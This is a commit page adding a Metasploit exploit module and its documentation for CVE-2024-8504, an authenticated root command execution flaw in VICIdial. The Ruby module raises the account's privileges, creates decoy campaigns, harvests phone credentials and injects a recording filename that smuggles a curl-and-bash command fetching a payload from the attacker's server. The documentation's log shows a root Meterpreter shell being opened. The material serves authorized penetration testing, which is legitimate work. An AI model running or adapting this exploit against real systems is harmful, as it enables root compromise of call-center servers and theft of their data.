Land #19456 VICIdial Auth RCE module

This adds a module to exploit CVE-2024-8504 an authenticated RCE in VICIdial
This commit is contained in:
jheysel-r7
2024-09-30 17:13:33 -04:00
committed by GitHub
2 changed files with 815 additions and 0 deletions
@@ -0,0 +1,241 @@
## Vulnerable Application
This module exploits a single authenticated Remote Code Execution (RCE)vulnerability in VICIdial, affecting version 2.14-917a.
An attacker with valid credentials can execute arbitrary shell commands as the "root" user.
In certain scenarios, attackers may retrieve valid credentials using the SQL
Injection vulnerability with the Metasploit module `auxiliary/scanner/http/vicidial_sql_enum_users_pass`.
This allows attackers to enumerate users and passwords, which can then be used to exploit this RCE vulnerability.
VICIdial does not encrypt passwords by default, making it easier for attackers to use enumerated credentials.
VICIBox/VICIdial includes an auto-update mechanism, so be cautious when creating vulnerable environments for testing.
### Install
#### Version 11.0.1 Setup
1. **Download the ISO**:
[ViciBox_v11.x86_64-11.0.1-md.iso](http://download.vicidial.com/iso/vicibox/server/ViciBox_v11.x86_64-11.0.1-md.iso)
2. **Create a VM**:
- Connect to the shell using the default credentials:
`root:vicidial` (Note: The keyboard layout is QWERTY by default).
3. **Run the setup and reboot the VM**:
- After rebooting, **do not** run the command `/usr/local/bin/vicibox-install` until after the next step.
4. **Vulnerable Revision Setup**:
- Run the following command to install a vulnerable version of VICIdial:
```
svn checkout -r 3830 svn://svn.eflo.net:3690/agc_2-X/trunk /usr/src/astguiclient/trunk
```
- Revision 3830 is vulnerable to both SQL Injection and RCE.
- Note: The CVEs have been patched starting from revision 3848.
5. **Legacy Installation**:
- Run the installation in legacy mode:
```
vicibox-install --legacy
```
6. **Installer Output Example**:
```
vicibox11:~ # vicibox-install --legacy
ViciBox Installer
Legacy mode activated
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 137.
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 138.
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 137.
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 138.
The installer will ask questions based upon the role that this server is
to provide for the ViciBox Call Center Suite. You should have the database
and optionally archive servers setup prior to installing any other servers.
The installer will not run without there being a configured database! If this
server is to be the database then it must be installed before the archive server.
Verify that all servers are connected to the same network and have connectivity
to each other before continuing. This installer will be destructive to the server if it is run.
Do you want to continue with the ViciBox install? [y/N] : y
Do you want to enable expert installation? [y/N] :
The Internal IP address found was 192.168.1.4.
Do you want to use this IP address for ViciDial? [Y/n] : y
Will this server be used as the Database? [y/N] : y
Do you want to use the default ViciDial DB settings? [Y/n] : y
Will this server be used as a Web server? [y/N] : y
Will this server be used as a Telephony server? [y/N] : y
Will this server be used as an Archive server? [y/N] : y
Archive server IP (192.168.1.4) :
Archive FTP User (cronarchive) :
Archive FTP Password (archive1234) :
Archive FTP Port (21) :
Archive FTP Directory () :
Archive URL (http://192.168.1.4/archive/) :
Use of uninitialized value $localsvn in concatenation (.) or string at /usr/local/bin/vicibox-install line 1513, <STDIN> line 14.
The local SVN is build 240419-1817 version 2.14-916a from SVN
Do you want to use the ViciDial version listed above? [Y/n] : y
Do you want to disable the built-in firewall? [y/N] : y
--- ViciBox Install Summary ---
Expert : No
Legacy : Yes
Database : Yes
Web : Yes
Telephony: Yes
First Srv: Yes
Have Arch: No
Archive : Yes
Firewall : Disabled
--- Configuration Information ---
- Database -
Use of uninitialized value $DBsvnrev in concatenation (.) or string at /usr/local/bin/vicibox-install line 1609, <STDIN> line 16.
SVN Rev :
IP Addr : 192.168.1.4
Name : asterisk
User : cron
Password : 1234
Cust User: custom
Cust Pass: custom1234
Port : 3306
Please verify the above information before continuing!
Do you want to continue the installation? [y/N] : y
Beginning installation, expect lots of output...
Disabling firewall...
Removed /etc/systemd/system/multi-user.target.wants/firewalld.service.
Removed /etc/systemd/system/dbus-org.fedoraproject.FirewallD1.service.
Use of uninitialized value $DBsvnrev in numeric ne (!=) at /usr/local/bin/vicibox-install line 208, <STDIN> line 17.
Use of uninitialized value $localsvn in numeric ne (!=) at /usr/local/bin/vicibox-install line 208, <STDIN> line 17.
Use of uninitialized value $DBsvnrev in concatenation (.) or string at /usr/local/bin/vicibox-install line 218, <STDIN> line 17.
Local SVN revision matches DB revision:
Doing general DataBase requirements...
Doing Master-specific MySQL setup...
Configuring Web Server...
Created symlink /etc/systemd/system/httpd.service → /usr/lib/systemd/system/apache2.service.
Created symlink /etc/systemd/system/apache.service → /usr/lib/systemd/system/apache2.service.
Created symlink /etc/systemd/system/multi-user.target.wants/apache2.service → /usr/lib/systemd/system/apache2.service.
Configuring Telephony Server...
Configuring Archive Server...
Nouveau mot de passe : MOT DE PASSE INCORRECT : trop simple/systématique
Retapez le nouveau mot de passe : passwd: password updated successfully
Created symlink /etc/systemd/system/multi-user.target.wants/vsftpd.service → /usr/lib/systemd/system/vsftpd.service.
Loading GMT and Phone Codes...
Seeding the audio store, this may take a while...
PLEASE use secure passwords inside vicidial. It prevents hackers
and other undesirables from compromising your system and costing
you thousands in toll fraud and long distance. A secure password
Contains at least one capital letter and one number. A good example
of a secure password would be NrWZDqL1Rg37uuC.
Don't feed the black market, secure your systems properly!
System should be installed. Please type 'reboot' to cleanly load everything.
```
7. **Post-Installation**:
- After installation, **reboot** the system.
- Access the web panel by navigating to the administration page and completing the initial setup.
## Verification Steps
1. Start msfconsole
1. Do: `use exploit/unix/webapp/vicidial_agent_authenticated_rce`
1. Do: `set RHOSTS <ip>`
1. Do: `set USERNAME <username>`
1. Do: `set PASSWORD <password>`
1. Do: `set RPORT <port>`
1. Do: `set TARGETURI <path>`
1. Do: `set SRVPORT <port>`
1. Do: `set FETCH_SRVHOST <ip>`
1. Do: `run`
1. The module will exploit the Remote Code Execution
## Options
## Scenarios
### ViciBox 11.0.1
Using `cmd/linux/http/x64/meterpreter_reverse_tcp`:
```
msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) > run http://192.168.1.28 username=6666 password=password
[*] Exploit running as background job 12.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) >
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] VICIdial version: 2.14-705
[+] The target is vulnerable.
[*] Using URL: http://192.168.1.36:5000/piAF2DipO
[*] Server started.
[*] Payload is ready at /
[+] Authenticated successfully as user '6666'
[+] Updated user settings to increase privileges
[+] Updated system settings
[+] Created dummy campaign 'Haley-Huel'
[+] Updated dummy campaign settings
[+] Created dummy list 'Haley-Huel List' for campaign '898934'
[+] Found phone credentials: Extension=callin, Password=test, Recording Extension=8309
[+] Retrieved dynamic field names: MGR_login20240926, MGR_pass20240926
[+] Entered "manager" credentials to override shift enforcement
[+] Authenticated as agent using phone credentials
[+] Session Name: 1727385175_8300defaul11764031, Session ID: 8600051
[*] Generated malicious command: $(curl$IFS-k$IFS@192.168.1.36:5000$IFS-o$IFS.Vysha&&bash$IFS.Vysha)
[*] MonitorConf command sent for Channel Local/8309@default on 192.168.1.28
Filename: $(curl$IFS-k$IFS@192.168.1.36:5000$IFS-o$IFS.Vysha&&bash$IFS.Vysha)
RecorDing_ID: 10
RECORDING WILL LAST UP TO 60 MINUTES
[+] Stopped malicious recording to prevent file size from growing
[*] Deleting dummy campaign with ID: 898934
[+] Campaign 898934 deleted successfully.
[*] Waiting for 300 seconds to allow the cron job to execute the payload...
[*] Received request at: / - Client Address: 192.168.1.28
[*] Sending response to 192.168.1.28 for /
[*] Sending stage (3045380 bytes) to 192.168.1.28
[*] Meterpreter session 18 opened (192.168.1.36:4444 -> 192.168.1.28:26572) at 2024-09-27 01:14:12 +0200
msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) > sessions 18
[*] Starting interaction with 18...
meterpreter > pwd
/var/spool/asterisk/monitor
meterpreter > ls
No entries exist in /var/spool/asterisk/monitor
meterpreter > ls /root/
Listing: /root/
===============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100600/rw------- 254 fil 2024-09-26 22:31:38 +0200 .bash_history
040700/rwx------ 4096 dir 2022-03-15 12:35:24 +0100 .gnupg
040755/rwxr-xr-x 4096 dir 2023-08-06 12:37:28 +0200 .subversion
100644/rw-r--r-- 35 fil 2023-08-06 12:37:27 +0200 .zypper.conf
040755/rwxr-xr-x 4096 dir 2022-03-15 12:35:24 +0100 bin
meterpreter >
```
@@ -0,0 +1,574 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
prepend Msf::Exploit::Remote::AutoCheck
Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VICIdial Authenticated Remote Code Execution',
'Description' => %q{
An attacker with authenticated access to VICIdial as an "agent"
can execute arbitrary shell commands as the "root" user. This
attack can be chained with CVE-2024-8503 to execute arbitrary
shell commands starting from an unauthenticated perspective.
},
'Author' => [
'Valentin Lobstein', # Metasploit Module
'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-8504'],
['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt']
],
'DisclosureDate' => '2024-09-10',
'Platform' => %w[unix linux],
'Arch' => %w[ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Privileged' => true
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 300,
'SRVPORT' => 5000 # To not have conflict with FETCH_SRVPORT (both are needed for this exploit to work)
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('USERNAME', [true, 'Administrator username']),
OptString.new('PASSWORD', [true, 'Administrator password']),
])
end
def check
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
'method' => 'GET'
})
return CheckCode::Unknown unless res&.code == 200
html_doc = res.get_html_document
version_info = html_doc.at_xpath("//td[contains(text(), 'VERSION:')]")&.text ||
res.body.split("\n").find { |line| line.include?('VERSION:') }
return CheckCode::Unknown unless version_info
extracted_version = version_info.scan(/VERSION:\s*(\d+\.\d+)-(\d+)/).flatten.join('-')
return CheckCode::Unknown if extracted_version.empty?
print_status("VICIdial version: #{extracted_version}")
vulnerable_version = Rex::Version.new('2.14-917a')
current_version = Rex::Version.new(extracted_version)
return current_version <= vulnerable_version ? CheckCode::Vulnerable : CheckCode::Safe
end
def exploit
# Start the HTTP server to handle incoming requests from the payload
start_service
print_status('Server started.')
# Add the resource to serve the payload and prepare the listener
primer
# Authenticate as an administrator using provided credentials
target_uri, request_headers = authenticate_admin
# Elevate user privileges by updating user settings
update_user_settings(target_uri, request_headers)
# Update the system settings for further exploitation
update_system_settings(target_uri, request_headers)
# Create a dummy campaign to act as a decoy during the attack
fake_company_name, fake_campaign_id, fake_list_id, fake_list_name = create_dummy_campaign(target_uri, request_headers)
# Modify the settings of the newly created dummy campaign
update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)
# Create a dummy list associated with the dummy campaign
create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)
# Retrieve phone credentials (extension and password) to authenticate as an agent
phone_extension, phone_password, recording_extension = fetch_phone_credentials(target_uri, request_headers)
# Authenticate to the agent portal using the retrieved phone credentials and campaign ID
session_name, session_id = agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)
# Insert a malicious recording that contains the payload, using the agent session
insert_malicious_recording(request_headers, session_name, session_id, recording_extension)
# Clean up by deleting the campaign created earlier
delete_dummy_campaign(target_uri, request_headers, fake_campaign_id)
# Start the cron job to execute the malicious payload
wait_for_cron_job
end
def primer
add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })
print_status('Payload is ready at /')
end
def on_request_uri_payload(cli, request)
bash_command = <<-BASH
#!/bin/bash
rm -- $(readlink /proc/$$/fd/255)
cd /var/spool/asterisk/monitor/
#{payload.encoded}
find . -maxdepth 1 -type f -delete
BASH
handle_request(cli, request, bash_command)
end
def handle_request(cli, request, response_payload)
print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")
case request.uri
when '/'
print_status("Sending response to #{cli.peerhost} for /")
send_response(cli, response_payload)
else
print_error("Request for unknown resource: #{request.uri}")
send_not_found(cli)
end
end
def delete_dummy_campaign(target_uri, request_headers, campaign_id)
print_status("Deleting dummy campaign with ID: #{campaign_id}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri, 'vicidial', 'admin.php'),
'method' => 'GET',
'vars_get' => { 'ADD' => '61', 'campaign_id' => campaign_id, 'CoNfIrM' => 'YES' },
'headers' => request_headers
})
res&.code == 200 ? print_good("Campaign #{campaign_id} deleted successfully.") : print_error("Failed to delete campaign #{campaign_id}.")
end
def authenticate_admin
username = datastore['USERNAME']
password = datastore['PASSWORD']
credentials = "#{username}:#{password}"
credentials_base64 = Rex::Text.encode_base64(credentials)
auth_header = "Basic #{credentials_base64}"
target_uri = normalize_uri(datastore['TARGETURI'], 'vicidial', 'admin.php')
request_params = { 'ADD' => '3', 'user' => username }
request_headers = { 'Authorization' => auth_header }
res = send_request_cgi(
'uri' => target_uri,
'method' => 'GET',
'vars_get' => request_params,
'headers' => request_headers,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to authenticate with credentials. Maybe hashing is enabled?') unless res&.code == 200
print_good("Authenticated successfully as user '#{username}'")
[target_uri, request_headers]
end
def update_user_settings(target_uri, request_headers)
faker = Faker::Internet
user_settings_body = {
'ADD' => '4A', 'custom_fields_modify' => '0', 'user' => datastore['USERNAME'], 'DB' => '0',
'pass' => datastore['PASSWORD'], 'force_change_password' => 'N', 'full_name' => Faker::Name.name,
'user_level' => '9', 'user_group' => 'ADMIN', 'phone_login' => faker.username, 'phone_pass' => faker.password,
'active' => 'Y', 'user_new_lead_limit' => '-1', 'agent_choose_ingroups' => '1',
'agent_choose_blended' => '1', 'hotkeys_active' => '0', 'scheduled_callbacks' => '1',
'agentonly_callbacks' => '0', 'next_dial_my_callbacks' => 'NOT_ACTIVE', 'agentcall_manual' => '0',
'manual_dial_filter' => 'DISABLED', 'agentcall_email' => '0', 'agentcall_chat' => '0',
'vicidial_recording' => '1', 'vicidial_transfers' => '1', 'closer_default_blended' => '0',
'user_choose_language' => '0', 'selected_language' => 'default+English', 'vicidial_recording_override' => 'DISABLED',
'mute_recordings' => 'DISABLED', 'alter_custdata_override' => 'NOT_ACTIVE',
'alter_custphone_override' => 'NOT_ACTIVE', 'agent_shift_enforcement_override' => 'ALL',
'agent_call_log_view_override' => 'Y', 'hide_call_log_info' => 'Y', 'agent_lead_search' => 'NOT_ACTIVE',
'lead_filter_id' => 'NONE', 'user_hide_realtime' => '0', 'allow_alerts' => '0',
'preset_contact_search' => 'NOT_ACTIVE', 'max_inbound_calls' => '0', 'max_inbound_filter_enabled' => '0',
'max_inbound_filter_min_sec' => '-1', 'inbound_credits' => '-1', 'max_hopper_calls' => '0',
'max_hopper_calls_hour' => '0', 'wrapup_seconds_override' => '-1', 'ready_max_logout' => '-1',
'RANK_AGENTDIRECT' => '0', 'GRADE_AGENTDIRECT' => '10', 'LIMIT_AGENTDIRECT' => '-1',
'RANK_AGENTDIRECT_CHAT' => '0', 'GRADE_AGENTDIRECT_CHAT' => '10', 'LIMIT_AGENTDIRECT_CHAT' => '-1',
'qc_enabled' => '0', 'qc_user_level' => '1', 'qc_pass' => '0', 'qc_finish' => '0',
'qc_commit' => '0', 'hci_enabled' => '0', 'realtime_block_user_info' => '0',
'admin_hide_lead_data' => '0', 'admin_hide_phone_data' => '0', 'ignore_group_on_search' => '0',
'view_reports' => '1', 'access_recordings' => '0', 'alter_agent_interface_options' => '1',
'modify_users' => '1', 'change_agent_campaign' => '1', 'delete_users' => '1',
'modify_usergroups' => '1', 'delete_user_groups' => '1', 'modify_lists' => '1',
'delete_lists' => '1', 'load_leads' => '1', 'modify_leads' => '1', 'export_gdpr_leads' => '0',
'download_lists' => '1', 'export_reports' => '1', 'delete_from_dnc' => '1',
'modify_campaigns' => '1', 'campaign_detail' => '1', 'modify_dial_prefix' => '1',
'delete_campaigns' => '1', 'modify_ingroups' => '1', 'delete_ingroups' => '1',
'modify_inbound_dids' => '1', 'delete_inbound_dids' => '1', 'modify_custom_dialplans' => '1',
'modify_remoteagents' => '1', 'delete_remote_agents' => '1', 'modify_scripts' => '1',
'delete_scripts' => '1', 'modify_filters' => '1', 'delete_filters' => '1',
'ast_admin_access' => '1', 'ast_delete_phones' => '1', 'modify_call_times' => '1',
'delete_call_times' => '1', 'modify_servers' => '1', 'modify_shifts' => '1',
'modify_phones' => '1', 'modify_carriers' => '1', 'modify_email_accounts' => '0',
'modify_labels' => '1', 'modify_colors' => '1', 'modify_languages' => '0',
'modify_statuses' => '1', 'modify_voicemail' => '1', 'modify_audiostore' => '1',
'modify_moh' => '1', 'modify_tts' => '1', 'modify_contacts' => '1', 'callcard_admin' => '1',
'modify_auto_reports' => '0', 'add_timeclock_log' => '1', 'modify_timeclock_log' => '1',
'delete_timeclock_log' => '1', 'manager_shift_enforcement_override' => '1',
'pause_code_approval' => '1', 'admin_cf_show_hidden' => '0', 'modify_ip_lists' => '0',
'ignore_ip_list' => '0', 'two_factor_override' => 'NOT_ACTIVE', 'vdc_agent_api_access' => '1',
'api_list_restrict' => '0', 'api_allowed_functions%5B%5D' => 'ALL_FUNCTIONS',
'api_only_user' => '0', 'modify_same_user_level' => '1', 'download_invalid_files' => '1',
'alter_admin_interface_options' => '1', 'SUBMIT' => 'SUBMIT'
}
send_request_cgi(
'uri' => target_uri,
'method' => 'POST',
'headers' => request_headers,
'vars_post' => user_settings_body,
'keep_cookies' => true
)
print_good('Updated user settings to increase privileges')
end
def update_system_settings(target_uri, request_headers)
res = send_request_cgi(
'uri' => target_uri,
'method' => 'GET',
'headers' => request_headers,
'vars_get' => { 'ADD' => Rex::Text.rand_text_numeric(10, 15) },
'keep_cookies' => true
)
fail_with(Failure::NotFound, 'Failed to fetch system settings') unless res
system_settings_body = {}
res.get_html_document.css('input').each do |input_tag|
system_settings_body[input_tag['name']] = input_tag['value']
end
res.get_html_document.css('select').each do |select_tag|
selected_tag = select_tag.at_css('option[selected]')
next unless selected_tag
system_settings_body[select_tag['name']] = selected_tag.text
end
system_settings_body['outbound_autodial_active'] = '0'
send_request_cgi(
'uri' => target_uri,
'method' => 'POST',
'headers' => request_headers,
'vars_post' => system_settings_body,
'keep_cookies' => true
)
print_good('Updated system settings')
end
def create_dummy_campaign(target_uri, request_headers)
fake_company_name = Faker::Company.name
fake_campaign_id = Faker::Number.number(digits: 6).to_i
fake_list_id = fake_campaign_id + 1
fake_list_name = "#{fake_company_name} List"
campaign_settings_body = {
'ADD' => '21',
'campaign_id' => fake_campaign_id,
'campaign_name' => fake_company_name,
'user_group' => '---ALL---',
'active' => 'Y',
'allow_closers' => 'Y',
'hopper_level' => '1',
'next_agent_call' => 'random',
'local_call_time' => '12am-12am',
'get_call_launch' => 'NONE',
'SUBMIT' => 'SUBMIT'
}
send_request_cgi(
'uri' => target_uri,
'method' => 'POST',
'headers' => request_headers,
'vars_post' => campaign_settings_body,
'keep_cookies' => true
)
print_good("Created dummy campaign '#{fake_company_name}'")
[fake_company_name, fake_campaign_id, fake_list_id, fake_list_name]
end
def update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)
update_campaign_body = {
'ADD' => '41',
'campaign_id' => fake_campaign_id,
'old_campaign_allow_inbound' => 'Y',
'campaign_name' => fake_company_name,
'active' => 'Y',
'lead_order' => 'DOWN',
'lead_filter_id' => 'NONE',
'no_hopper_leads_logins' => 'Y',
'hopper_level' => '1',
'reset_hopper' => 'N',
'dial_method' => 'RATIO',
'auto_dial_level' => '1',
'SUBMIT' => 'SUBMIT',
'form_end' => 'END'
}
send_request_cgi(
'uri' => target_uri,
'method' => 'POST',
'headers' => request_headers,
'vars_post' => update_campaign_body,
'keep_cookies' => true
)
print_good('Updated dummy campaign settings')
end
def create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)
list_settings_body = {
'ADD' => '211',
'list_id' => fake_list_id,
'list_name' => fake_list_name,
'campaign_id' => fake_campaign_id,
'active' => 'Y',
'SUBMIT' => 'SUBMIT'
}
send_request_cgi(
'uri' => target_uri,
'method' => 'POST',
'headers' => request_headers,
'vars_post' => list_settings_body,
'keep_cookies' => true
)
print_good("Created dummy list '#{fake_list_name}' for campaign '#{fake_campaign_id}'")
end
def fetch_phone_credentials(target_uri, request_headers)
res = send_request_cgi(
'uri' => target_uri,
'method' => 'GET',
'headers' => request_headers,
'vars_get' => { 'ADD' => '10000000000' },
'keep_cookies' => true
)
fail_with(Failure::NotFound, 'Failed to fetch phone credentials') unless res
phone_uri_path = res.get_html_document.at_css('a:contains("MODIFY")')&.get_attribute('href')
fail_with(Failure::NotFound, 'Failed to find the "MODIFY" link in the phone credentials page') unless phone_uri_path
res = send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], phone_uri_path),
'method' => 'GET',
'headers' => request_headers,
'keep_cookies' => true
)
fail_with(Failure::NotFound, 'Failed to fetch phone credentials page') unless res
phone_extension = res.get_html_document.at_css('input[name="extension"]')&.get_attribute('value')
phone_password = res.get_html_document.at_css('input[name="pass"]')&.get_attribute('value')
recording_extension = res.get_html_document.at_css('input[name="recording_exten"]')&.get_attribute('value')
if [phone_extension, phone_password, recording_extension].all?
print_good("Found phone credentials: Extension=#{phone_extension}, Password=#{phone_password}, Recording Extension=#{recording_extension}")
else
fail_with(Failure::NotFound, 'Failed to retrieve one or more phone credentials from the page')
end
[phone_extension, phone_password, recording_extension]
end
def agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)
vdc_db_query_body = {
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'ACTION' => 'LogiNCamPaigns',
'format' => 'html'
}
res = send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vdc_db_query.php'),
'method' => 'POST',
'vars_post' => vdc_db_query_body,
'keep_cookies' => true
)
fail_with(Failure::NotFound, 'Failed to retrieve hidden input fields') unless res
doc = res.get_html_document
mgr_login_name = doc.at_css('input[name^="MGR_login"]')&.get_attribute('name')
mgr_pass_name = doc.at_css('input[name^="MGR_pass"]')&.get_attribute('name')
if mgr_login_name && mgr_pass_name
print_good("Retrieved dynamic field names: #{mgr_login_name}, #{mgr_pass_name}")
else
begin
today_date = Time.now.strftime('%Y%m%d')
mgr_login_name = "MGR_login#{today_date}"
mgr_pass_name = "MGR_pass#{today_date}"
print_status("Constructed dynamic field names manually: #{mgr_login_name}, #{mgr_pass_name}")
end
end
manager_login_body = {
'DB' => '0',
'JS_browser_height' => '1313',
'JS_browser_width' => '2560',
'phone_login' => phone_extension,
'phone_pass' => phone_password,
'VD_login' => datastore['USERNAME'],
'VD_pass' => datastore['PASSWORD'],
'MGR_override' => '1',
'relogin' => 'YES',
mgr_login_name => datastore['USERNAME'],
mgr_pass_name => datastore['PASSWORD'],
'SUBMIT' => 'SUBMIT'
}
send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
'method' => 'POST',
'headers' => request_headers,
'vars_post' => manager_login_body,
'keep_cookies' => true
)
print_good('Entered "manager" credentials to override shift enforcement')
agent_login_body = {
'DB' => '0',
'JS_browser_height' => '1313',
'JS_browser_width' => '2560',
'phone_login' => phone_extension,
'phone_pass' => phone_password,
'VD_login' => datastore['USERNAME'],
'VD_pass' => datastore['PASSWORD'],
'VD_campaign' => fake_campaign_id
}
res = send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
'method' => 'POST',
'headers' => request_headers,
'vars_post' => agent_login_body
)
print_good('Authenticated as agent using phone credentials')
session_name_match = res.body.match(/var\s+session_name\s*=\s*'([a-zA-Z0-9_]+)';/)
session_id_match = res.body.match(/var\s+session_id\s*=\s*'([0-9]+)';/)
if session_name_match && session_id_match
session_name = session_name_match[1]
session_id = session_id_match[1]
print_good("Session Name: #{session_name}, Session ID: #{session_id}")
else
fail_with(Failure::NotFound, 'Failed to retrieve session information')
end
[session_name, session_id]
end
def insert_malicious_recording(request_headers, session_name, session_id, recording_extension)
uri = get_uri.gsub(%r{^https?://}, '').chomp('/')
random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
malicious_filename = "$(curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename})"
print_status("Generated malicious command: #{malicious_filename}")
record1_body = {
'server_ip' => datastore['RHOSTS'],
'session_name' => session_name,
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'ACTION' => 'MonitorConf',
'format' => 'text',
'channel' => "Local/#{recording_extension}@default",
'filename' => malicious_filename,
'exten' => recording_extension,
'ext_context' => 'default',
'ext_priority' => '1',
'FROMvdc' => 'YES',
'FROMapi' => ''
}
res = send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'manager_send.php'),
'method' => 'POST',
'headers' => request_headers,
'vars_post' => record1_body,
'keep_cookies' => true
)
recording_id_match = res.body.match(/RecorDing_ID: ([0-9]+)/)
if recording_id_match
recording_id = recording_id_match[1]
print_status(res.body)
else
fail_with(Failure::Unknown, 'Failed to get recording ID')
end
record2_body = {
'server_ip' => datastore['RHOSTS'],
'session_name' => session_name,
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'ACTION' => 'StopMonitorConf',
'format' => 'text',
'channel' => "Local/#{recording_extension}@default",
'filename' => "ID:#{recording_id}",
'exten' => session_id,
'ext_context' => 'default',
'ext_priority' => '1',
'FROMvdc' => 'YES',
'FROMapi' => ''
}
send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'conf_exten_check.php'),
'method' => 'POST',
'headers' => request_headers,
'vars_post' => record2_body,
'keep_cookies' => true
)
print_good('Stopped malicious recording to prevent file size from growing')
end
def wait_for_cron_job
print_status("Waiting for #{datastore['WfsDelay']} seconds to allow the cron job to execute the payload...")
service.wait
end
end